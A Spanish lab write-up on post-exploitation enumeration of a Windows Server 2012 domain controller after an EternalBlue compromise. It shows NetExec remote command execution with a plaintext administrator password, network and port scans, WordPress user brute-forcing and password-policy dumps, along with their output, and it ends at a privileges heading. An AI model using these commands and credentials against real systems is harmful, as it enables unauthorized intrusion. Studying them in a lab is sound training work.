



POST-EXPLOTACIÓN

ENUMERACIÓN

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ÍNDICE

1	INTRODUCCIÓN.....	2
2	RED	2
3	PUERTOS Y SERVICIOS.....	3
3.1	PUERTOS.....	3
3.2	SERVICIOS.....	4
4	USUARIOS Y CREDENCIALES.....	5
4.1	USUARIOS.....	5
4.2	CREDENCIALES.....	7
4.2.1	PRIVILEGIOS.....	7
4.3	CREDENCIALES.....	8
5	Ficheros.....	9

1 INTRODUCCIÓN

En este ejercicio realizaremos el proceso de enumeración después de la explotación ya teniendo unas credenciales validas o acceso a la maquina con ciertos privilegios. En esta ocasión utilizamos la maquina victima un Windows server 2012. Esta host ya fue explotado en ejercicios anteriores, ya contamos con credenciales validas para su enumeración. En primer lugar, necesitamos información del sistema, con el comando” nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x ‘systeminfo’” obtenemos la información del sistema operativo.

```
(root@jordi) [~]
# nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x "systeminfo"
SMB 10.0.1.130 445 ENIGMA [*] Windows Server 2012 Standard 9200_x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signing:True) (SMBv1:True)
SMB 10.0.1.130 445 ENIGMA [*] SantaPrisca.virtual/administrator:0K1s4m4084 (Pwn3d!)
SMB 10.0.1.130 445 ENIGMA [*] Executed command via wmiexec
SMB 10.0.1.130 445 ENIGMA Host Name: ENIGMA
SMB 10.0.1.130 445 ENIGMA OS Name: Microsoft Windows Server 2012 Standard
SMB 10.0.1.130 445 ENIGMA OS Version: 6.2.9200 N/A Build 9200
SMB 10.0.1.130 445 ENIGMA OS Manufacturer: Microsoft Corporation
SMB 10.0.1.130 445 ENIGMA OS Configuration: Primary Domain Controller
SMB 10.0.1.130 445 ENIGMA OS Build Type: Multiprocessor Free
SMB 10.0.1.130 445 ENIGMA Registered Owner: Windows User
SMB 10.0.1.130 445 ENIGMA Registered Organization:
SMB 10.0.1.130 445 ENIGMA Product ID: 00184-30000-00001-AA819
SMB 10.0.1.130 445 ENIGMA Original Install Date: 1/11/2019, 6:02:14 PM
SMB 10.0.1.130 445 ENIGMA System Boot Time: 6/24/2024, 11:06:15 AM
SMB 10.0.1.130 445 ENIGMA System Manufacturer: VMware, Inc.
SMB 10.0.1.130 445 ENIGMA System Model: VMware Virtual Platform
SMB 10.0.1.130 445 ENIGMA System Type: x64-based PC
SMB 10.0.1.130 445 ENIGMA Processor(s): 2 Processor(s) Installed.
SMB 10.0.1.130 445 ENIGMA [01]: AMD64 Family 23 Model 113 Stepping 0 AuthenticAMD ~3800 Mhz
SMB 10.0.1.130 445 ENIGMA [02]: AMD64 Family 23 Model 113 Stepping 0 AuthenticAMD ~3800 Mhz
SMB 10.0.1.130 445 ENIGMA BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
SMB 10.0.1.130 445 ENIGMA Windows Directory: C:\Windows
SMB 10.0.1.130 445 ENIGMA System Directory: C:\Windows\system32
SMB 10.0.1.130 445 ENIGMA Boot Device: \Device\HarddiskVolume1
SMB 10.0.1.130 445 ENIGMA System Locale: en-us;English (United States)
SMB 10.0.1.130 445 ENIGMA Input Locale: en-us;English (United States)
SMB 10.0.1.130 445 ENIGMA Time Zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris
SMB 10.0.1.130 445 ENIGMA Total Physical Memory: 6,127 MB
SMB 10.0.1.130 445 ENIGMA Available Physical Memory: 3,342 MB
SMB 10.0.1.130 445 ENIGMA Virtual Memory: Max Size: 7,791 MB
SMB 10.0.1.130 445 ENIGMA Virtual Memory: Available: 3,621 MB
SMB 10.0.1.130 445 ENIGMA Virtual Memory: In Use: 4,170 MB
SMB 10.0.1.130 445 ENIGMA Page File Location(s): C:\pagefile.sys
SMB 10.0.1.130 445 ENIGMA Domain: SantaPrisca.virtual
SMB 10.0.1.130 445 ENIGMA Logon Server: \\ENIGMA
SMB 10.0.1.130 445 ENIGMA Hotfix(s): 2 Hotfix(s) Installed.
SMB 10.0.1.130 445 ENIGMA [01]: KB2888468
SMB 10.0.1.130 445 ENIGMA [02]: KB2999226
SMB 10.0.1.130 445 ENIGMA Network Card(s): 2 NIC(s) Installed.
SMB 10.0.1.130 445 ENIGMA [01]: Intel(R) PRO/1000 MT Network Connection
SMB 10.0.1.130 445 ENIGMA Connection Name: Ethernet1
SMB 10.0.1.130 445 ENIGMA DHCP Enabled: Yes
SMB 10.0.1.130 445 ENIGMA DHCP Server: 30.30.30.254
SMB 10.0.1.130 445 ENIGMA IP address(es):
SMB 10.0.1.130 445 ENIGMA [01]: 30.30.30.129
SMB 10.0.1.130 445 ENIGMA [02]: Fe80::182c:4361:eb1:13fc
SMB 10.0.1.130 445 ENIGMA [02]: Intel(R) PRO/1000 MT Network Connection
SMB 10.0.1.130 445 ENIGMA Connection Name: Ethernet0 2
```

2 RED

Identificamos el host con nuestra maquina Kali Linux con un arp-scan y comprobamos la ip del Windows server que es 10.0.1.130

```
(root@jordi) [~]
# arp-scan -I eth0 --localnet --ignoredups
Interface: eth0, type: EN10MB, MAC: 00:0c:29:68:17:5f, IPv4: 10.0.1.144
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.1.1 00:50:56:c0:00:08 VMware, Inc.
10.0.1.2 00:50:56:e8:99:31 VMware, Inc.
10.0.1.130 00:0c:29:f7:30:ea VMware, Inc.
10.0.1.254 00:50:56:eb:e5:83 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.141 seconds (119.57 hosts/sec). 4 responded
```

Con NetExec a través del protocolo smb y unas credenciales que obtuvimos previamente, con el comando “nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x ‘arp -a’” observamos que esta maquina tiene dos interfaces de red una es la 10.0.1.0/24 y la otra es 30.30.30.0/24 que no tenemos acceso en esta segunda interfaz de red sin realizar pivoting.

```

[~] nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x 'arp -a'
[*] Windows Server 2012 Standard 9200 x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signing:True) (SMBv1:True)
[*] SantaPrisca.virtual\Administrator:0K1s4m4084 (Pwn3d!)
[*] Executed command via wmiexec
Interface: 30.30.30.129 --- 0x11
Internet Address      Physical Address      Type
30.30.30.1            00-50-56-c0-00-02    dynamic
30.30.30.128         00-0c-29-fa-dd-34    dynamic
30.30.30.254         00-50-56-f6-e0-ca    static
30.30.30.255         ff-ff-ff-ff-ff-ff    static
224.0.0.22           01-00-5e-00-00-16    static
224.0.0.252          01-00-5e-00-00-fc    static
224.2.2.4             01-00-5e-02-02-04    static
255.255.255.255      ff-ff-ff-ff-ff-ff    static
Interface: 10.0.1.130 --- 0x12
Internet Address      Physical Address      Type
10.0.1.12             00-50-56-e8-99-21    dynamic
10.0.1.144           00-0c-29-68-17-5f    dynamic
10.0.1.254           00-50-56-eb-e5-83    dynamic
10.0.1.255           ff-ff-ff-ff-ff-ff    static
224.0.0.22           01-00-5e-00-00-16    static
224.0.0.252          01-00-5e-00-00-fc    static
255.255.255.255      ff-ff-ff-ff-ff-ff    static

```

3 PUERTOS Y SERVICIOS

3.1 PUERTOS

Esta host Windows tiene multitud de puertos abiertos que corren diferentes servicios. Con la herramienta nmap podemos descubrir que puertos están abiertos y que servicio corren en cada uno de ellos. En este ejercicio no centramos en el puerto 445 que es el smb de versión 1 para la recopilación de información y la explotación de la maquina con Eternal Blue.

```

nmap -sV -p- --open --min-rate 5000 -n -Pn 10.0.1.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 05:44 EDT
Nmap scan report for 10.0.1.130
Host is up (0.000067s latency).
Not shown: 62605 closed tcp ports (reset), 2870 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              FileZilla ftpd
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-06-24 09:44:23Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: SantaPrisca.virtual, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds    Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: SANTAPRISCA)
464/tcp   open  kpasswd5?
593/tcp   open  ncaen_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1801/tcp  open  msmq?
2103/tcp  open  msrpc            Microsoft Windows RPC
2105/tcp  open  msrpc            Microsoft Windows RPC
2107/tcp  open  msrpc            Microsoft Windows RPC
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: SantaPrisca.virtual, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3306/tcp  open  mysql            MySQL (unauthorized)
3389/tcp  open  ssl/ms-wbt-server?
3700/tcp  open  giop             CORBA naming service
3820/tcp  open  ssl/giop         CORBA naming service
3920/tcp  open  ssl/exasoftport1?
4848/tcp  open  ssl/http         Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp  open  java-message-service
8009/tcp  open  ajp13            Apache Jserv (Protocol v1.3)
8019/tcp  open  qbdb?
8020/tcp  open  http             Apache httpd
8022/tcp  open  http             Apache Tomcat/Coyote JSP engine 1.1
8027/tcp  open  papachi-p2p-srv?
8028/tcp  open  postgresql      PostgreSQL DB
8031/tcp  open  ssl/unknown
8032/tcp  open  desktop-central ManageEngine Desktop Central DesktopCentralServer
8080/tcp  open  http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8181/tcp  open  ssl/http         Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8282/tcp  open  http             Apache Tomcat/Coyote JSP engine 1.1
8383/tcp  open  http             Apache httpd
8443/tcp  open  ssl/https-alt?
8444/tcp  open  desktop-central ManageEngine Desktop Central DesktopCentralServer
8585/tcp  open  http             Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686/tcp  open  java-rmi         Java RMI
9200/tcp  open  wap-wsp?
9300/tcp  open  vrace?
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc            Microsoft Windows RPC
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49155/tcp open  msrpc            Microsoft Windows RPC
49157/tcp open  ncaen_http      Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc            Microsoft Windows RPC
49174/tcp open  msrpc            Microsoft Windows RPC
49180/tcp open  msrpc            Microsoft Windows RPC
49183/tcp open  msrpc            Microsoft Windows RPC
49193/tcp open  unknown
49368/tcp open  msrpc            Microsoft Windows RPC
49370/tcp open  msrpc            Microsoft Windows RPC
49818/tcp open  java-rmi         Java RMI
49821/tcp open  unknown
49822/tcp open  unknown
49823/tcp open  unknown

```

Podemos comprobar si hay algún servicio interno que solo se puede acceder desde la red interna, con el comando “nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x ‘netstat -an’”

```
(root@jordi) ~
└─# nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x 'netstat -an'
SMB 10.0.1.130 445 ENIGMA [*] Windows Server 2012 Standard 9200 x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signature:True) (SMBv1:True)
SMB 10.0.1.130 445 ENIGMA [*] SantaPrisca.virtual/administrator:0K1s4m4084 (Pwn3d!)
SMB 10.0.1.130 445 ENIGMA [*] Executed command via wmiexec
SMB 10.0.1.130 445 ENIGMA Active Connections
SMB 10.0.1.130 445 ENIGMA Proto Local Address Foreign Address State
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:88 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:139 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:464 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:593 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:636 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:2103 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:2105 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:2187 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:3780 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8020 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8920 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8822 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8827 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8028 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8031 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8032 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8181 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8282 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8383 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8443 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8444 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8585 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:8686 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:9280 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:9380 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING
SMB 10.0.1.130 445 ENIGMA TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING
```

3.2 SERVICIOS

Comprobamos los servicios que hay corriendo en sistema, con el comando “nxc smb 10.0.1.130 -u administrator -p 0k1s4m4084 -x ‘net start’” vemos una lista de los servicios.

```
(root@jordi) ~
└─# nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 -x 'net start'
SMB 10.0.1.130 445 ENIGMA [*] Windows Server 2012 Standard 9200 x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signature:True) (SMBv1:True)
SMB 10.0.1.130 445 ENIGMA [*] SantaPrisca.virtual/administrator:0K1s4m4084 (Pwn3d!)
SMB 10.0.1.130 445 ENIGMA [*] Executed command via wmiexec
SMB 10.0.1.130 445 ENIGMA These Windows services are started:
SMB 10.0.1.130 445 ENIGMA Active Directory Domain Services
SMB 10.0.1.130 445 ENIGMA Active Directory Web Services
SMB 10.0.1.130 445 ENIGMA Apache Tomcat 8.0 Tomcat8
SMB 10.0.1.130 445 ENIGMA Application Host Helper Service
SMB 10.0.1.130 445 ENIGMA Background Tasks Infrastructure Service
SMB 10.0.1.130 445 ENIGMA Base Filtering Engine
SMB 10.0.1.130 445 ENIGMA Certificate Propagation
SMB 10.0.1.130 445 ENIGMA COM+ Event System
SMB 10.0.1.130 445 ENIGMA COM+ System Application
SMB 10.0.1.130 445 ENIGMA Cryptographic Services
SMB 10.0.1.130 445 ENIGMA DCOM Server Process Launcher
SMB 10.0.1.130 445 ENIGMA DFS Namespace
SMB 10.0.1.130 445 ENIGMA DFS Replication
SMB 10.0.1.130 445 ENIGMA DHCP Client
SMB 10.0.1.130 445 ENIGMA Diagnostic Policy Service
SMB 10.0.1.130 445 ENIGMA Distributed Transaction Coordinator
SMB 10.0.1.130 445 ENIGMA DNS Client
SMB 10.0.1.130 445 ENIGMA DNS Server
SMB 10.0.1.130 445 ENIGMA domain0 GlassFish Server
SMB 10.0.1.130 445 ENIGMA Elasticsearch 1.1.1 (elasticsearch-service-x64)
SMB 10.0.1.130 445 ENIGMA File Replication Service
SMB 10.0.1.130 445 ENIGMA FileZilla Server FTP server
SMB 10.0.1.130 445 ENIGMA Group Policy Client
SMB 10.0.1.130 445 ENIGMA IKE and AuthIP IPsec Keying Modules
SMB 10.0.1.130 445 ENIGMA Intersite Messaging
SMB 10.0.1.130 445 ENIGMA IP Helper
SMB 10.0.1.130 445 ENIGMA IPsec Policy Agent
SMB 10.0.1.130 445 ENIGMA Kerberos Key Distribution Center
SMB 10.0.1.130 445 ENIGMA Local Session Manager
SMB 10.0.1.130 445 ENIGMA ManagementEngine Desktop Central Server
SMB 10.0.1.130 445 ENIGMA MEDC Server Component - Apache
SMB 10.0.1.130 445 ENIGMA MEDC Server Component - Notification Server
SMB 10.0.1.130 445 ENIGMA Message Queuing
SMB 10.0.1.130 445 ENIGMA Net.Msmq Listener Adapter
SMB 10.0.1.130 445 ENIGMA Net.Pipe Listener Adapter
SMB 10.0.1.130 445 ENIGMA Net.Tcp Listener Adapter
SMB 10.0.1.130 445 ENIGMA Net.Tcp Port Sharing Service
SMB 10.0.1.130 445 ENIGMA Netlogon
SMB 10.0.1.130 445 ENIGMA Network Connections
SMB 10.0.1.130 445 ENIGMA Network List Service
SMB 10.0.1.130 445 ENIGMA Network Location Awareness
SMB 10.0.1.130 445 ENIGMA Network Store Interface Service
SMB 10.0.1.130 445 ENIGMA Plug and Play
SMB 10.0.1.130 445 ENIGMA Power
SMB 10.0.1.130 445 ENIGMA Print Spooler
```


Con NetExec comprobamos el resultado anterior para encontrar los usuarios del dominio

```

[+] (root@jordi) ~
# nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 --users
SMB 10.0.1.130 445 ENIGMA [+] Windows Server 2012 Standard 9200 x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signing:True) (SMBv1:True)
SMB 10.0.1.130 445 ENIGMA [+] SantaPrisca.virtual/administrator:0K1s4m4084 (Pwn3d!)
SMB 10.0.1.130 445 ENIGMA -Username- -Last PW Set- -BadPW- -Description-
SMB 10.0.1.130 445 ENIGMA Administrator 2019-01-11 17:02:12 0 Built-in account for administering the computer/domain
SMB 10.0.1.130 445 ENIGMA Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.0.1.130 445 ENIGMA krbtgt 2019-01-17 12:03:14 0 Key Distribution Center Service Account
SMB 10.0.1.130 445 ENIGMA vagrant 2019-01-11 17:12:57 0
SMB 10.0.1.130 445 ENIGMA perdicion 2019-01-18 13:09:19 0
SMB 10.0.1.130 445 ENIGMA caras 2019-02-25 09:06:32 0
SMB 10.0.1.130 445 ENIGMA gracioso 2019-02-25 09:06:57 0
SMB 10.0.1.130 445 ENIGMA hiedra 2019-02-25 09:07:21 0
SMB 10.0.1.130 445 ENIGMA pinguino 2019-02-25 09:07:41 0
SMB 10.0.1.130 445 ENIGMA ras 2019-02-25 09:07:50 0
SMB 10.0.1.130 445 ENIGMA solomon 2019-02-25 09:08:20 0
SMB 10.0.1.130 445 ENIGMA sombrero 2019-02-25 09:08:50 0
SMB 10.0.1.130 445 ENIGMA zas 2019-02-25 09:09:09 0

```

En el puerto 8585 hay un WordPress corriendo, con wpscan buscamos los usuarios de este servicio

```

[+] User(s) Identified:

[+] enigma
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] gracioso
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] caras
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] pinguino
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] perdicion
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] hiedra
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] zas
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] ras
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] solomon
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] sombrero
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] oraculo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK

```

4.2 CREDENCIALES

Con enum4linux comprobamos las reglas que tienen que cumplir las contraseñas, y vemos que no hay reglas preestablecidas por parte del administrador del sistema.

```
[V] Attempting to get Password Policy info with command: polenum 'administrator':'0K1s4m4084'@'10.0.1.130' 2>81

[+] Attaching to 10.0.1.130 using administrator:0K1s4m4084
[+] Trying protocol 139/SMB ...
    [!] Protocol failed: Cannot request session (Called Name:10.0.1.130)
[+] Trying protocol 445/SMB ...
[+] Found domain(s):
    [+] SANTAPRISCA
    [+] Builtin
[+] Password Info for Domain: SANTAPRISCA
    [+] Minimum password length: None
    [+] Password history length: None
    [+] Maximum password age: Not Set
    [+] Password Complexity Flags: 000000
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
    [+] Minimum password age: None
    [+] Reset Account Lockout Counter: 30 minutes
    [+] Locked Account Duration: 30 minutes
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: Not Set
```

Realizamos la misma operación con NetExec sobre el protocolo smb y verificamos la falta de reglas en el ámbito de las credenciales.

```
[root@jordi]# nxc smb 10.0.1.130 -u administrator -p 0K1s4m4084 --pass-pol
SMB 10.0.1.130 445 ENIGMA [*] Windows Server 2012 Standard 9200 x64 (name:ENIGMA) (domain:SantaPrisca.virtual) (signing:True) (SMBv1:True)
SMB 10.0.1.130 445 ENIGMA [*] SantaPrisca.virtual\administrator:0K1s4m4084 (Pwn3d!)
SMB 10.0.1.130 445 ENIGMA [*] Dumping password info for domain: SANTAPRISCA
SMB 10.0.1.130 445 ENIGMA Minimum password length: None
SMB 10.0.1.130 445 ENIGMA Password history length: None
SMB 10.0.1.130 445 ENIGMA Maximum password age: Not Set
SMB 10.0.1.130 445 ENIGMA Password Complexity Flags: 000000
SMB 10.0.1.130 445 ENIGMA Domain Refuse Password Change: 0
SMB 10.0.1.130 445 ENIGMA Domain Password Store Cleartext: 0
SMB 10.0.1.130 445 ENIGMA Domain Password Lockout Admins: 0
SMB 10.0.1.130 445 ENIGMA Domain Password No Clear Change: 0
SMB 10.0.1.130 445 ENIGMA Domain Password No Anon Change: 0
SMB 10.0.1.130 445 ENIGMA Domain Password Complex: 0
SMB 10.0.1.130 445 ENIGMA Minimum password age: None
SMB 10.0.1.130 445 ENIGMA Reset Account Lockout Counter: 30 minutes
SMB 10.0.1.130 445 ENIGMA Locked Account Duration: 30 minutes
SMB 10.0.1.130 445 ENIGMA Account Lockout Threshold: None
SMB 10.0.1.130 445 ENIGMA Forced Log off Time: Not Set
```

4.2.1 PRIVILEGIOS

Comprobamos los privilegios que tiene el usuario administrator y Solomon. El usuario administrator es normal que tenga privilegios elevados, ya que se supone que es el administrador, pero el usuario Solomon no tendría que tener privilegios tan elevados siendo un usuario no siendo el administrador del sistema, como podemos comprobar en las capturas.

